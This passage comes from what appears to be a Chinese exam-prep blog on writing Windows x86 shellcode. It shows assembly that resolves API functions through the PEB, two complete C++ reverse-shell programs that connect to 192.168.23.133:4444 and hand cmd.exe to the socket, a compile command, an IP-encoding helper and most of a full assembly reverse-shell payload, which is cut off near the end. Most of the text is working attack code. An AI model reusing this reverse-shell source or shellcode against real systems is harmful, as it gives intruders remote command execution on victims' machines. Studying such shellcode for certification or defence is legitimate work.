add cx, 0xe ; length of strings to compare (len('GetProcAddress') = 14 = 0xe)
repe cmpsb ; compare the strings pointed by esi and edi byte by byte. if equal, ZF=1, otherwise, ZF=0
jz _start.found ; if not zero, two strings are equal. found it!

inc eax ; cnt++
cmp eax, edx ; check if last function is reached
jb _start.loop ; if not the last -> go back to the beginning of the loop

add esp, 0x24
jmp _start.end ; if function is not found, jump to the end

.found:
; the counter (eax) now holds the position of WinExec

mov ecx, [ebp-0xc] ; ecx holds the address of the ordinal table
mov edx, [ebp-0x14] ; edx holds the address of the address table

mov ax, [ecx + eax*2] ; eax holds the ordinal number of the target function `GetProcAddress` in ordinal table
mov eax, [edx + eax*4] ; eax holds the RVA of the target function `GetProcAddress`
add eax, ebx ; eax holds the address of the target function `GetProcAddress`

; use GetProcAddress to find the address of LoadLibraryA in kernel32.dll
mov [ebp-0x4], eax ; address of "GetProcAddress" at [ebp-0x04]
mov esp, ebp
sub esp, 0x8 ; esp now points to the base address of kernel32.dll
xor ecx, ecx
push ecx ; null termination
push 0x41797261
push 0x7262694c
push 0x64616f4c ; "LoadLibraryA"
push esp ; push the pointer of the string "LoadLibraryA"
mov ecx, [ebp-0x8]
push ecx ; push the base address of kernel32.dll
call eax ; call "GetProcAddress" to get the address of LoadLibraryA

; use LoadLibraryA to load msvcrt.dll
mov [ebp-0xc], eax ; address of "LoadLibraryA" at [ebp-0xc]
mov esp, ebp ; rebase the stack
sub esp, 0xc ; esp now points to the address of LoadLibraryA
xor ecx, ecx
push ecx
push 0x00006c6c
push 0x642e7472
push 0x6376736d ; "msvcrt.dll"
push esp
call eax ; push the pointer of the string "msvcrt.dll"

; use GetProcAddress to find the address of system in msvcrt.dll
mov [ebp-0x10], eax ; base address of msvcrt.dll at [ebp-0x10]
mov esp, ebp ; rebase the stack
sub esp, 0x10 ; esp now points to the base address of msvcrt.dll
push 0x00006d65
push 0x74737973 ; "system"
push esp ; push the pointer of the string "system"
push eax ; push the base address of msvcrt.dll
mov eax, [ebp-0x4] ; move the address of "GetProcAddress" to eax
call eax ; call "GetProcAddress"

; use system to execute arbitrary command
push 0x00657865
push 0x2e646170
push 0x65746f6e ; "notepad.exe"
push esp ; push the pointer of the string "notepad.exe"
call eax ; call "system"

.end:
add esp, 0x2c
popad ; restore the gpr
ret

image-20200518213036767

一开始本来还想写下调用shell32.dll里的ShellExecuteA来执行任意命令的,写到这里突然感觉很无趣,因为就是到msdn手册上查阅函数调用约定的事。这里有一个示例,大概看看最后的连续push就知道参数是怎么入栈了。所以我决定接下来写windows下的反弹shell的shellcode。


updated on 20200520:

win32 socket编程

windows下反弹shell的话,涉及到网络通信,所以需要了解一下windows下网络通信的相关知识。我一开始看的是这个

当然反弹shell的话还涉及到程序间的通信,因为客户端(控制服务器)发送的命令传送到服务端(受控服务器)之后,服务端要交给cmd.exe来执行,执行后返回的结果要交给服务端,然后再由服务端传送给客户端。linux下很简单,用dup打通stdin,stdout和stderr就可以,windows下的我不会,所以我去跟了下msfvenom生成的shellcode,发现用的好象是CreateProcessA函数,关于这个参数的相关信息可以在这里查看。

从网上扒拉了两份c++写的反弹shell的代码,可以大概看一下需要那些步骤:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include <winsock2.h>
#include <windows.h>
#include <iostream>

int main() {
std::string rem_host = "192.168.23.133";
int rem_port = 4444;

WSADATA wsaData;

// Call WSAStartup()
int WSAStartup_Result = WSAStartup(MAKEWORD(2, 2), & wsaData);
if (WSAStartup_Result != 0) {
std::cout << "[-] WSAStartup failed.";
return 1;
}

// Call WSASocket()
SOCKET mysocket = WSASocketA(2, 1, 6, NULL, 0, 0);

// Create sockaddr_in struct
struct sockaddr_in sa;
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = inet_addr(rem_host.c_str());
sa.sin_port = htons(rem_port);

// Call connect()
int connect_Result = connect(mysocket, (struct sockaddr * ) & sa, sizeof(sa));
if (connect_Result != 0) {
std::cout << "[-] connect failed.";
return 1;
}

// Call CreateProcessA()
STARTUPINFO si;
memset( & si, 0, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = (STARTF_USESTDHANDLES);
si.hStdInput = (HANDLE) mysocket;
si.hStdOutput = (HANDLE) mysocket;
si.hStdError = (HANDLE) mysocket;
PROCESS_INFORMATION pi;
char cmd[5] = "cmd";
CreateProcessA(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, & si, & pi);

}

可以看出来主要是有这几步

  1. 调用WSAStartup来初始化套接字的使用程序
  2. 调用WSASocketA来创建一个连接到指定ip和端口的套接字
  3. 调用connect 来连接到上面创建的套接字
  4. 最后调用CreateProcessA 来创建一个进程,将lpStartupInfo的stdin,stdout,stderr重定向到上面的套接字上,这样的话就把套接字和cmd程序之间的数据交流打通了,客户端发送指定到服务端就相当于是发送到cmd程序执行命令,同时cmd程序执行完命令返回输出实际上就发送回客户端了。

还有一份大同小异的c++程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <winsock2.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32.lib")

WSADATA wsa;
SOCKET sock;
struct sockaddr_in server;
STARTUPINFO sinfo;
PROCESS_INFORMATION pinfo;


int main(int argc, char *argv[])
{
WSAStartup(MAKEWORD(2,2), &wsa);
sock = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);


server.sin_family = AF_INET;
server.sin_port = htons(4444);
server.sin_addr.s_addr =inet_addr("192.168.23.133");

WSAConnect(sock,(SOCKADDR*)&server, sizeof(server),NULL,NULL,NULL,NULL);
if (WSAGetLastError() == 0) {

memset(&sinfo, 0, sizeof(sinfo));

sinfo.cb=sizeof(sinfo);
sinfo.dwFlags=STARTF_USESTDHANDLES;
sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE)sock;

char command[5] = "cmd";
CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
exit(0);
} else {
exit(0);
}
}

与第一份代码不同的就是他用的是WSAConnect函数而不是connect函数,查询了下这两函数的异同,似乎是WSAConnect能够做的事情更多,但是一般情况下用connect就行了。具体可以看这里这里

以上两份源码在Kali 2020-04版本下,使用i686-w64-mingw32-g++-win32均可编译成功,编译命令如下:

1
i686-w64-mingw32-g++-win32 rev.cpp -o rev.exe -lws2_32 -static-libgcc -static-libstdc++

可执行文件在Windows 7 Ultimate SP3 X64下测试成功。

Win32 Reverse Shellcode

回归正题。

首先以上源码涉及到的socket操作函数均可在ws2_32.dll中找到,CreateProcessA函数可以在kernel32.dll中找到。所以整个汇编程序的流程如下:

  1. 在kernel32.dll中找到GetProcAddress函数的地址
  2. GetProcAddress在kernel32.dll中找到LoadLibraryACreateProcessA函数的地址
  3. LoadLibraryA函数去加载ws2_32.dll,并获得dll的加载基址
  4. GetProcAddress在ws2_32.dll中找到WSAStartupWSASocketWSAConnect地址
  5. 布局好栈空间,设置好各个函数的参数,逐一调用

updated on 20200521:

设想的栈布局:

image-20200520151912071

在kernel32.dll中找到GetProcAddress函数的地址,和上面的代码一样,做了细微的修改,对调了kernel32.dll的基址和”GetProcAddress”字符串的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
format PE console
use32
entry _start
_start:
pushad ; push all gpr

; Establish a new stack frame
push ebp
mov ebp, esp

sub esp, 0x18 ; lift up stack, reserve space for local variables

; Find kernel32.dll base address
xor esi, esi ; esi = 0
mov ebx, [fs:esi+0x30] ; avoid null bytes, to be compatible with fasm, for nasm, use fs:[eax+0x30]
mov ebx, [ebx + 0x0C]
mov ebx, [ebx + 0x14]
mov ebx, [ebx]
mov ebx, [ebx]
mov ebx, [ebx + 0x10] ; now ebx holds kernel32.dll base address

; push the function name onto the stack
xor esi, esi
push esi ; null termination
push 0x00007373
push 0x65726464
push 0x41636f72
push 0x50746547
mov [ebp-8], esp ; pointer to "GetProcAddress" is at ebp-0x8

mov [ebp-4], ebx ; base address of kernel32.dll is at ebp-0x4

; Find the address of the export table
mov eax, [ebx + 0x3c] ; RVA of PE signature
add eax, ebx ; address of PE signature
mov eax, [eax + 0x78] ; RVA of export table
add eax, ebx ; address of export table

; Find number of exported functions
mov edx, [eax + 0x14] ; number of exported functions

; Find the address of the address table
mov ecx, [eax + 0x1c] ; RVA of address table
add ecx, ebx ; address of address table
mov [ebp-0x14], ecx ; address of address table is at ebp-0x14

; Find the address of the name pointer table
mov ecx, [eax + 0x20] ; RVA of name pointer table
add ecx, ebx ; address of name pointer table
mov [ebp-0x10], ecx ; address of name pointer table is at ebp-0x10

mov ecx, [eax + 0x24] ; RVA of ordinal table
add ecx, ebx ; address of ordinal table
mov [ebp-0xc], ecx ; address of ordinal table is at ebp-0xc

xor eax, eax ; cnt = 0

.loop:
mov edi, [ebp-0x10] ; edi holds the address of name pointer table
mov esi, [ebp-8] ; esi points to "GetProcAddress"
xor ecx, ecx

cld ; set DF=0 => process strings from left to right
mov edi, [edi + eax*4] ; edi holds the rva of the entries in name pointer table
add edi, ebx ; edi holds the address of the function name
add cx, 0xe ; length of strings to compare (len('GetProcAddress') = 14 = 0xe)
repe cmpsb ; compare the strings pointed by esi and edi byte by byte. if equal, ZF=1, otherwise, ZF=0
jz _start.found ; if not zero, two strings are equal. found it!

inc eax ; cnt++
cmp eax, edx ; check if last function is reached
jb _start.loop ; if not the last -> go back to the beginning of the loop

add esp, 0x24
jmp _start.end ; if function is not found, jump to the end
.found:
; the counter (eax) now holds the position of GetProcAddress

mov ecx, [ebp-0xc] ; ecx holds the address of the ordinal table
mov edx, [ebp-0x14] ; edx holds the address of the address table

mov ax, [ecx + eax*2] ; eax holds the ordinal number of the target function `GetProcAddress` in ordinal table
mov eax, [edx + eax*4] ; eax holds the RVA of the target function `GetProcAddress`
add eax, ebx ; eax holds the address of the target function `GetProcAddress`
add esp, 0x28 ; stack rebase
push eax ; address of `GetProcAddress` is at [ebp-0x08]

最后eax中有着GetProcAddress的地址,并且在[ebp-0x08]的地方

然后在kernel32.dll中找到LoadLibraryACreateProcessA函数的地址。为了方便,先找CreateProcessA的地址,然后再找LoadLibraryA的地址,后面就可以直接call eax来加载ws2_32.dll了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
; use GetProcAddress to find the address of CreateProcessA and LoadLibraryA
push 0x00004173
push 0x7365636f
push 0x72506574
push 0x61657243 ; "CreateProcessA"
push esp
push dword [ebp-0x4] ; base address of kernel32.dll
call eax ; call "GetProcAddress" to get the address of CreateProcessA
add esp, 0x10 ; stack rebase
push eax ; address of `CreateProcessA` is at ebp-0xc
xor eax, eax
push eax ; null termination
push 0x41797261
push 0x7262694c
push 0x64616f4c ; "LoadLibraryA"
push esp
push dword [ebp-0x4] ; base address of kernel32.dll
mov eax, [ebp-0x8]
call eax ; call "GetProcAddress" to get the address of LoadLibraryA
add esp, 0x10 ; stack rebase
push eax ; address of `LoadLibraryA' is at ebp-0x10

然后用LoadLibraryA函数去加载ws2_32.dll,并获得dll的加载基址

1
2
3
4
5
6
7
8
; use LoadLibraryA to load ws2_32.dll and get the base address
push 0x00006c6c
push 0x642e3233
push 0x5f327377 ; "ws2_32.dll"
push esp
call eax ; call "LoadLibraryA" to load ws2_32.dll
add esp, 0xc ; stack rebase
push eax ; base address of ws2_32.dll is at ebp-0x14

然后用GetProcAddress在ws2_32.dll中找到WSAStartupWSASocketAWSAConnect地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
; use GetProcAddress to find the address of WSAStartup£¬WSASocketA£¬and WSAConnect
push 0x00007075
push 0x74726174
push 0x53415357 ; "WSAStartup"
push esp
push dword [ebp-0x14]
mov eax, [ebp-0x8]
call eax ; call "GetProcAddress" to get the address of WSAStartup
add esp, 0xc ; stack rebase
push eax ; address of `WSAStartup` is at ebp-0x18
push 0x00004174
push 0x656b636f
push 0x53415357 ; "WSASocketA"
push esp
push dword [ebp-0x14] ; base address of ws2_32.dll
mov eax, [ebp-0x8]
call eax ; call "GetProcAddress" to get the address of WSASocket
add esp, 0xc ; stack rebase
push eax ; address of `WSASocket` is at ebp-0x1c
push 0x00007463
push 0x656e6e6f
push 0x43415357 ; "WSAConnect"
push esp
push dword [ebp-0x14] ; base address of ws2_32.dll
mov eax, [ebp-0x8]
call eax ; call "GetProcAddress" to get the address of WSAConnect
add esp, 0xc ; stack rebase
push eax ; address of `WSAConnect` is at ebp-0x20

执行完之后栈的布局如下图所示:

image-20200520161410472

接下来就是逐一调用各个函数了。

调用WSAStartup

1
WSAStartup(MAKEWORD(2,2), &wsa);

WSAStartup的调用约定可以在这里找到:

1
2
3
4
int WSAAPI WSAStartup(
WORD wVersionRequested,
LPWSADATA lpWSAData
);

wVersionRequested是一个两字节的数据,MAKEWORD是一个宏,代表这个两字节的低字节是2,高字节也是2。其实在msfvenom生成的shellcode中,这个参数是push了0x190,因为0x190其实也是lpWSAData结构体的大小。所以可以省一点shellcode空间。至于为什么可以这么做,msdn上提到了这么一句话:

When an application or DLL calls the WSAStartup function, the Winsock DLL examines the version of the Windows Sockets specification requested by the application passed in the wVersionRequested parameter. If the version requested by the application is equal to or higher than the lowest version supported by the Winsock DLL, the call succeeds and the Winsock DLL returns detailed information in the WSADATA structure pointed to by the lpWSAData parameter.

所以如果wVersionRequested比程序本身所支持的最低版本要高的话,调用就是成功的。当然我这里还是不用这些骚操作了,一步一步来。

第二个参数lpWSAData是一个指向WSADATA结构的指针,详细可以在这里看到,我们只需要在栈上给他留够足够的空间就行。这里就不去翻官方文档来计算大小了,直接写一个测试程序吧,理论要和实践相结合。

image-20200520163431630

1
2
3
4
5
6
7
8
9
;WSAStartup(MAKEWORD(2,2), &wsa);
xor ecx, ecx
mov cl, 0x2 ;
mov ch, 0x2 ; MAKEWORD(2,2)
sub esp, 0x190 ; reserve space for lpWSAData
push esp ; lpWSAData
push ecx ; wVersionRequested
mov eax, [ebp-0x18] ; `WSAStartup`
call eax ; WSAStartup(MAKEWORD(2,2), &wsa);

调用WSASocket

1
sock = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);

WSASocket调用约定如下:

1
2
3
4
5
6
7
8
SOCKET WSAAPI WSASocketA(
int af,
int type,
int protocol,
LPWSAPROTOCOL_INFOA lpProtocolInfo,
GROUP g,
DWORD dwFlags
);

其中af,type,IPPROTO_TCP都在winsock2.h中定义了,AF_INET是2,SOCK_STREAM是1,IPPROTO_TCP是6,后面三个都是null,写成汇编代码如下:

1
2
3
4
5
6
7
8
9
10
; WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
push 0
push 0
push 0
push 0x6
push 0x1
push 0x2
mov eax, [ebp-0x1c] ; `WSASocket`
call eax
mov [ebp-0x4], eax ; save socket at ebp-0x4

注意到WSASocket的返回值在eax中,是套接字,这个套接字在后面还需要用到,所以需要保存到栈上,直接替换掉kernel32.dll的基地址即可,因为后面用不上。

调用WSAConnect

1
WSAConnect(sock,(SOCKADDR*)&server, sizeof(server),NULL,NULL,NULL,NULL);

这个开始有点麻烦了,函数调用约定在这里

1
2
3
4
5
6
7
8
9
int WSAAPI WSAConnect(
SOCKET s,
const sockaddr *name,
int namelen,
LPWSABUF lpCallerData,
LPWSABUF lpCalleeData,
LPQOS lpSQOS,
LPQOS lpGQOS
);

其中sockaddr类型的name变量定义在这里

1
2
3
4
5
6
7
8
9
10
11
struct sockaddr {
ushort sa_family;
char sa_data[14];
};

struct sockaddr_in {
short sin_family;
u_short sin_port;
struct in_addr sin_addr;
char sin_zero[8];
};

老规矩,写个测试程序来看sizeof(server)大小是多少

image-20200520212908488

为了避免繁琐的查询官方手册来构建server结构体,我又写了个测试程序,在call WSAConnect的地方下断点,然后观察栈的情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <winsock2.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32.lib")

WSADATA wsa;
SOCKET sock;
struct sockaddr_in server;
STARTUPINFO sinfo;
PROCESS_INFORMATION pinfo;


int main(int argc, char *argv[])
{
WSAStartup(MAKEWORD(2,2), &wsa);
sock = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);


server.sin_family = AF_INET;
server.sin_port = htons(4444);
server.sin_addr.s_addr =inet_addr("192.168.23.133");

WSAConnect(sock,(SOCKADDR*)&server, sizeof(server),NULL,NULL,NULL,NULL);
}

image-20200520214248199

注意到栈上的第二个参数是一个指向bss段的指针,右键follow in dump查看具体内容:

image-20200521003328072

可以看到第一个字节02是server.sin_family = AF_INET赋值的结果,第二个字节00未知。第三四个字节0x115c,转换成十进制就是4444,对应的是端口号,后面的0xc0a81785,每个字节转换成十进制就是192 168 23 133,对应的就是ip地址。那么就简单了。

按照栈的小端填充原则,以及server的大小占用0x10字节,我需要push两个值为0的双字,然后push ip,再push 端口,最后push 0x0002。

写个小工具用来push ip:

1
2
3
4
5
6
7
import sys

ip = sys.argv[1]

ips = ip.split('.')[::-1]

print("push 0x"+"".join(str(hex(int(i)))[2:].zfill(2) for i in ips))
1
2
3
# root @ kali in ~/osce [13:01:12] 
$ python push_ip.py 192.168.23.133
push 0x8517a8c0

所以对应的汇编代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
; WSAConnect(sock,(SOCKADDR*)&server, sizeof(server),NULL,NULL,NULL,NULL);
xor ecx, ecx
push ecx
push ecx
push 0x8517a8c0 ; ip
push word 0x5c11 ; port
push word 0x02 ; AF_INET
mov edi, esp ; address of sockaddr struct
push ecx ; NULL
push ecx ; NULL
push ecx ; NULL
push ecx ; NULL
push 0x10 ; sizeof(server)
push edi ; (SOCKADDR*)&server
push eax ; sock
mov eax, [ebp-0x20] ; `WSAConnect`
call eax

写到这里,运行编译好的exe的话,客户端就应该可以收到连接请求了:

image-20200521011833425

因为没有写connect之后的代码逻辑,所以很自然的出错了,不要紧。接着写。

调用CreateProcess

1
CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);

似乎是最麻烦的一个调用,调用约定可以在这里看:

1
2
3
4
5
6
7
8
9
10
11
12
BOOL CreateProcessA(
LPCSTR lpApplicationName,
LPSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCSTR lpCurrentDirectory,
LPSTARTUPINFOA lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);

注意到源代码中的pinfo只在开头定义了,然后中间并未赋值,所以只需要给其预留出空间即可,麻烦的是sinfo变量,他是一个LPSTARTUPINFOA类型的结构体,具体可以在这里查看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
typedef struct _STARTUPINFOA {
DWORD cb;
LPSTR lpReserved;
LPSTR lpDesktop;
LPSTR lpTitle;
DWORD dwX;
DWORD dwY;
DWORD dwXSize;
DWORD dwYSize;
DWORD dwXCountChars;
DWORD dwYCountChars;
DWORD dwFillAttribute;
DWORD dwFlags;
WORD wShowWindow;
WORD cbReserved2;
LPBYTE lpReserved2;
HANDLE hStdInput;
HANDLE hStdOutput;
HANDLE hStdError;
} STARTUPINFOA, *LPSTARTUPINFOA;

老规矩,写个测试程序打印出这俩变量的大小:

image-20200521013903852

pinfo占0x10个字节,sinfo占0x44个字节。再查看sinfo变量的赋值:

1
2
3
sinfo.cb=sizeof(sinfo);
sinfo.dwFlags=STARTF_USESTDHANDLES;
sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE)sock;

注意到sinfo的最后三个成员是socket,dwFlagsSTARTF_USESTDHANDLES,也就是0x00000100,cbsinfo的大小,0x44,我可以先设置好sinfo的最后三个成员,然后全部填充0,再回过头来设置其他成员值。pinfo加上sinfo总共0x54个字节,去掉一开始设置的三个成员占0xc个字节,还剩0x48个字节,需要循环push 0x12次。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
; CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
mov eax, [ebp-0x4] ; socket
push eax
push eax
push eax
xor ebx, ebx
mov ecx, 0x12
.pushloop:
cmp ecx, 0
je _start.pushdone
push ebx
sub ecx, 0x1
jmp _start.pushloop
.pushdone:

执行到最后,栈上的分布如下:

image-20200521022732632

最上面的0x10个字节作为pinfo的空间,下面的0x44个字节作为sinfo的空间,将他们的地址空间分别保存到寄存器上,然后分别设置他们的值,最后做完参数入栈操作之后就可以调用CreateProcess了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
; CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
mov eax, [ebp-0x4] ; socket
push eax
push eax
push eax
xor ebx, ebx
mov ecx, 0x12
.pushloop:
cmp ecx, 0
je _start.pushdone
push ebx
sub ecx, 0x1
jmp _start.pushloop
.pushdone:
mov ecx, esp ; ecx points to pinfo
lea edx, [esp+0x10] ; edx points to sinfo
mov dword [edx+0x0], 0x44 ; cb
mov dword [edx+0x2c], 0x100 ; dwFlags
push 0x00646d63 ; "cmd"
mov edi, esp ; edi points to "cmd"
xor eax, eax
push ecx ; pinfo
push edx ; sinfo
push eax ; NULL
push eax ; NULL
push eax ; NULL
inc eax
push eax ; TRUE
dec eax
push eax ; NULL
push eax ; NULL
push edi ; "cmd"
push eax ; NULL
mov eax, [ebp-0xc] ; `CreateProcessA`
call eax

最后的完整程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
format PE console
use32
entry _start
_start:
pushad ; push all gpr

; Establish a new stack frame
push ebp
mov ebp, esp

sub esp, 0x18 ; lift up stack, reserve space for local variables

; Find kernel32.dll base address
xor esi, esi ; esi = 0
mov ebx, [fs:esi+0x30] ; avoid null bytes, to be compatible with fasm, for nasm, use fs:[eax+0x30]
mov ebx, [ebx + 0x0C]
mov ebx, [ebx + 0x14]
mov ebx, [ebx]
mov ebx, [ebx]
mov ebx, [ebx + 0x10] ; now ebx holds kernel32.dll base address

; push the function name onto the stack
xor esi, esi
push esi ; null termination
push 0x00007373
push 0x65726464
push 0x41636f72
push 0x50746547
mov [ebp-8], esp ; pointer to "GetProcAddress" is at ebp-0x8

mov [ebp-4], ebx ; base address of kernel32.dll is at ebp-0x4

; Find the address of the export table
mov eax, [ebx + 0x3c] ; RVA of PE signature
add eax, ebx ; address of PE signature
mov eax, [eax + 0x78] ; RVA of export table
add eax, ebx ; address of export table

; Find number of exported functions
mov edx, [eax + 0x14] ; number of exported functions

; Find the address of the address table
mov ecx, [eax + 0x1c] ; RVA of address table
add ecx, ebx ; address of address table
mov [ebp-0x14], ecx ; address of address table is at ebp-0x14

; Find the address of the name pointer table
mov ecx, [eax + 0x20] ; RVA of name pointer table
add ecx, ebx ; address of name pointer table
mov [ebp-0x10], ecx ; address of name pointer table is at ebp-0x10

mov ecx, [eax + 0x24] ; RVA of ordinal table
add ecx, ebx ; address of ordinal table
mov [ebp-0xc], ecx ; address of ordinal table is at ebp-0xc

; find the address of GetProcAddress
xor eax, eax ; cnt = 0

.loop:
mov edi, [ebp-0x10] ; edi holds the address of name pointer table
mov esi, [ebp-8] ; esi points to "GetProcAddress"
xor ecx, ecx

cld ; set DF=0 => process strings from left to right
mov edi, [edi + eax*4] ; edi holds the rva of the entries in name pointer table
add edi, ebx ; edi holds the address of the function name
add cx, 0xe ; length of strings to compare (len('GetProcAddress') = 14 = 0xe)
repe cmpsb ; compare the strings pointed by esi and edi byte by byte. if equal, ZF=1, otherwise, ZF=0
jz _start.found ; if not zero, two strings are equal. found it!

inc eax ; cnt++
cmp eax, edx ; check if last function is reached
jb _start.loop ; if not the last -> go back to the beginning of the loop

add esp, 0x24
jmp _start.end ; if function is not found, jump to the end
.found:
; the counter (eax) now holds the position of GetProcAddress

mov ecx, [ebp-0xc] ; ecx holds the address of the ordinal table
mov edx, [ebp-0x14] ; edx holds the address of the address table

mov ax, [ecx + eax*2] ; eax holds the ordinal number of the target function `GetProcAddress` in ordinal table
mov eax, [edx + eax*4] ; eax holds the RVA of the target function `GetProcAddress`
add eax, ebx ; eax holds the address of the target function `GetProcAddress`
add esp, 0x28
push eax ; address of `GetProcAddress` is at ebp-0x08

; use GetProcAddress to find the address of CreateProcessA and LoadLibraryA
push 0x00004173
push 0x7365636f
push 0x72506574
push 0x61657243 ; "CreateProcessA"
push esp
push dword [ebp-0x4] ; base address of kernel32.dll
call eax ; call "GetProcAddress" to get the address of CreateProcessA
add esp, 0x10 ; stack rebase
push eax ; address of `CreateProcessA` is at ebp-0xc
xor eax, eax
push eax ; null termination
push 0x41797261
push 0x7262694c
push 0x64616f4c ; "LoadLibraryA"
push esp
push dword [ebp-0x4] ; base address of kernel32.dll
mov eax, [ebp-0x8]
call eax ; call "GetProcAddress" to get the address of LoadLibraryA
add esp, 0x10 ; stack rebase
push eax ; address of `LoadLibraryA' is at ebp-0x10

; use LoadLibraryA to load ws2_32.dll and get the base address
push 0x00006c6c
push 0x642e3233
push 0x5f327377 ; "ws2_32.dll"
push esp
call eax ; call "LoadLibraryA" to load ws2_32.dll
add esp, 0xc ; stack rebase
push eax ; base address of ws2_32.dll is at ebp-0x14

; use GetProcAddress to find the address of WSAStartup£¬WSASocketA£¬and WSAConnect
push 0x00007075
push 0x74726174
push 0x53415357 ; "WSAStartup"
push esp
push dword [ebp-0x14]
mov eax, [ebp-0x8]
call eax ; call "GetProcAddress" to get the address of WSAStartup
add esp, 0xc ; stack rebase
push eax ; address of `WSAStartup` is at ebp-0x18
push 0x00004174
push 0x656b636f
push 0x53415357 ; "WSASocketA"
push esp
push dword [ebp-0x14] ; base address of ws2_32.dll
mov eax, [ebp-0x8]
call eax ; call "GetProcAddress" to get the address of WSASocket
add esp, 0xc ; stack rebase
push eax ; address of `WSASocket` is at ebp-0x1c
push 0x00007463
push 0x656e6e6f
push 0x43415357 ; "WSAConnect"
push esp
push dword [ebp-0x14] ; base address of ws2_32.dll
mov eax, [ebp-0x8]
call eax ; call "GetProcAddress" to get the address of WSAConnect
add esp, 0xc ; stack rebase
push eax ; address of `WSAConnect` is at ebp-0x20

; WSAStartup(MAKEWORD(2,2), &wsa);
xor ecx, ecx
mov cl, 0x2
mov ch, 0x2 ; MAKEWORD(2,2)
sub esp, 0x190 ; reserve space for lpWSAData
push esp ; lpWSAData
push ecx ; wVersionRequested
mov eax, [ebp-0x18] ; `WSAStartup`
call eax ; WSAStartup(MAKEWORD(2,2), &wsa);

; WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
push 0
push 0
push 0
push 0x6
push 0x1
push 0x2
mov eax, [ebp-0x1c] ; `WSASocket`
call eax ; WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
mov [ebp-0x4], eax ; save socket at ebp-0x4

; WSAConnect(sock,(SOCKADDR*)&server, sizeof(server),NULL,NULL,NULL,NULL);
xor ecx, ecx
push ecx
push ecx
push 0x8517a8c0 ; ip
push word 0x5c11 ; port
push word 0x02 ; AF_INET
mov edi, esp ; address of sockaddr struct
push ecx ; NULL
push ecx ; NULL
push ecx ; NULL
push ecx ; NULL
push 0x10 ; sizeof(server)
push edi ; (SOCKADDR*)&server
push eax ; sock
mov eax, [ebp-0x20] ; `WSAConnect`
call eax

; CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
mov eax, [ebp-0x4] ; socket
push eax
push eax
push eax
xor ebx, ebx
mov ecx, 0x12
.pushloop:
cmp ecx, 0
je _start.pushdone
push ebx
sub ecx, 0x1
jmp _start.pushloop
.pushdone:
mov ecx, esp ; ecx points to pinfo
lea edx, [esp+0x10] ; edx points to sinfo
mov dword [edx+0x0], 0x44 ; cb
mov dword [edx+0x2c], 0x100 ; dwFlags
push 0x00646d63 ; "cmd"
mov edi, esp ; edi points to "cmd"
xor eax, eax
push ecx ; pinfo
push edx ; sinfo
push eax ; NULL
push eax ; NULL
push eax ; NULL
inc eax
